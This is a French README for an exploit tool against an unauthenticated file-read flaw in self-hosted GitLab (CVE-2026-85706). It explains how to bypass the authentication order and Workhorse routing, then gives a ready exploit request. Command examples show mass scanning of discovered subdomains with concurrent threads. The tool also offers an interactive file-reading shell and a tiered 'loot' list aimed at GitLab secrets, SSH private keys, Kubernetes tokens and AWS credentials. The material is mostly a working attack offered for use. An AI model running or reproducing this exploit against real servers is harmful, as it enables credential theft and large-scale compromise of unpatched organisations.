
CVE-2026-85706 · Lecture de fichiers non authentifiée dans GitLab CE/EE · PoC de recherche avec mode oracle, énumération de descripteurs de fichiers et ciblage de butin par niveaux
PoC pour CVE-2026-85706, une lecture arbitraire de fichier non authentifiée affectant GitLab CE/EE auto-hébergé.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Affecté | 18.7 à 19.1.7, 19.2.0 à 19.2.5, 19.3.0 à 19.3.1 |
| Corrigé | 19.1.8 / 19.2.6 / 19.3.2 (publié le 2026-09-10) |
| Composant | Repository Commits API / Files API (Workhorse body-upload) |
| Rapporteur | s3ntago via GitLab HackerOne |
Trois endpoints de l'API repository se trouvent derrière le requestBodyUploader de Workhorse :
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Le handler Rails appelle File.open(params['file.path']) avant authenticate!. Quatre conditions rendent cela exploitable :
1. L'authentification se déclenche après la lecture du fichier.
require_gitlab_workhorse! ne vérifie que l'en-tête JWT Gitlab-Workhorse-Api-Request. Workhorse appose cet en-tête sur chaque requête qu'il proxifie, y compris les simples passthroughs. Le véritable authenticate! se trouve à l'intérieur de authorize_push_to_branch!, qui s'exécute après que file_params_from_body_upload a déjà lu le fichier sur le disque.
2. file.path provient directement de la requête.
file_params_from_body_upload lit params['file.path'] comme un chemin absolu sans aucune validation. Dans le flux prévu, Workhorse écrit l'upload dans un fichier temporaire et injecte lui-même ce paramètre. Un attaquant l'envoie simplement directement comme paramètre de query string pointant n'importe où sur le système de fichiers.
3. Le matching de routes de Workhorse ne décode jamais le percent-encoding.
Workhorse fait correspondre les routes d'upload avec EscapedPath(), les octets bruts de l'URL tels que reçus. Puma décode les séquences %XX avant le routage vers Grape. Ainsi, encoder un caractère dans un segment statique fait que Workhorse saute sa règle de réécriture tandis que Rails route toujours vers le handler vulnérable :
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack renvoie le contenu du fichier dans la réponse d'erreur.
Avec Content-Type: application/x-www-form-urlencoded, le contenu du fichier est transmis à Rack::Utils.parse_nested_query. Tout % nu non suivi de deux chiffres hexadécimaux déclenche InvalidParameterError: invalid %-encoding (<content>). Tout ce qui précède le premier & dans le fichier est renvoyé dans le corps de la réponse 400.
Les fichiers sans % nu sont tout de même lus avant authentification. La réponse 401 de la branche urlencoded et la 500 de la branche multipart confirment toutes deux que le fichier existe et est lisible par l'utilisateur git, ce qui les rend utiles comme oracle d'existence.
Requête d'exploit :
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file lit n'importe quel fichier unique ; bascule automatiquement vers l'oracle s'il n'y a pas de déclencheur d'écho--loot exécute 36 cibles réparties sur 7 niveaux, ordonnées par probabilité confirmée de déclencheur d'écho--oracle exécute une sonde à double branche (urlencoded + multipart) contre les fichiers sans écho et indique si chacun est lisible, manquant ou illisible--proc énumère /proc/self/fd/0-31 pour trouver les descripteurs de fichiers ouverts, puis lit les cibles de reconnaissance /proc standard--shell ouvre un shell interactif de lecture de fichiers avec les commandes cat, loot, oracle, project et curl--pipe lit les cibles depuis stdin et gère la sortie subfinder, le texte httpx, le JSON httpx, le JSON nuclei et les lignes d'hôtes brutes--list prend un fichier de cibles, une par ligne--threads pour le scan en masse concurrent--proxy route tout via Burp ou mitmproxy--raw écrit les octets bruts sur stdout sans décoration, utile pour rediriger vers un fichier--full exécute loot, oracle et proc en une seule passe-opip install requests
python3 gitread.py -h
Nécessite Python 3.10 ou plus récent. Aucune autre dépendance.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin est détecté automatiquement lorsqu'il ne s'agit pas d'un TTY, donc --pipe est optionnel dans la plupart des cas.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Verdict | Signification |
|---|---|
leak | Contenu du fichier renvoyé dans le corps 400, lecture confirmée |
leak-frag | Écho partiel via une erreur de type de paramètre |
read-noecho | Le fichier a été lu avant authentification mais ne contient pas de % nu, donc rien n'est renvoyé |
READABLE | La branche multipart a renvoyé 500, le fichier existe et est lisible par l'utilisateur git |
missing | Le serveur a indiqué que le fichier local est absent |
rewrite | Workhorse a réécrit le corps, cette forme de contournement est morte |
noroute | Rails 404, l'instance est corrigée ou le chemin est erroné |
server-error | 500, le fichier existe mais a provoqué une erreur de parsing |
| Niveau | Fichiers | Écho |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Fuite de contenu directe |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Oracle uniquement, hexadécimal pur |
| 3 | .gitlab_workhorse_secret | Oracle uniquement |
| 4 | Clés privées SSH et authorized_keys | Oracle uniquement |
| 5 | gitlab-shell.yml, gitaly.toml, configuration PostgreSQL | Oracle uniquement |
| 6 | Jeton de compte de service Kubernetes, identifiants AWS | Oracle uniquement |
| 7 | Hostname, hosts, passwd, os-release, environ | Oracle uniquement |